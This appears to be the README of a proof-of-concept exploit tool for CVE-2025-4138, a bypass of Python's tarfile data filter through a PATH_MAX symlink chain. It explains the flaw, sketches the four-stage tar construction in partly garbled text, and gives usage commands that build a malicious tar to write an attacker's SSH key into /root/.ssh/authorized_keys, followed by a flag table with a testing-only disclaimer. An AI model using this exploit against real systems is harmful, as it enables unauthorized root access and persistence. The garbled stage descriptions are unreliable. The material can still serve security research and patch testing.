
CVE-2025-4138 - Python Arbitrary file write outside extraction directory
filter="data" BypassArbitrary file write outside the extraction directory via PATH_MAX symlink chain.
Reporter: Caleb Brown (Google)
Python's tarfile data filter validates symlink targets using os.path.realpath(). When the resolved path exceeds PATH_MAX (4096 bytes on Linux), realpath() silently stops resolving and appends remaining components — including ../ — as literal strings. The filter sees a safe path; the kernel follows the real traversal.
The exploit builds a tar with four stages:
a→ddd..., b→ddd...). Inflates the resolved path to ~3968 bytes.../ × 16 at the end of the chain. realpath() overflows and can't resolve it. Kernel walks back to the extraction root./, and down to the target directory.ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| Flag | Description |
|---|---|
-o |
For authorized security testing and CTF use only.
| Output tar path |
-t | Absolute path of file to write on target |
-p | Local file to use as payload content |
-m | Octal file permissions (default: 0644) |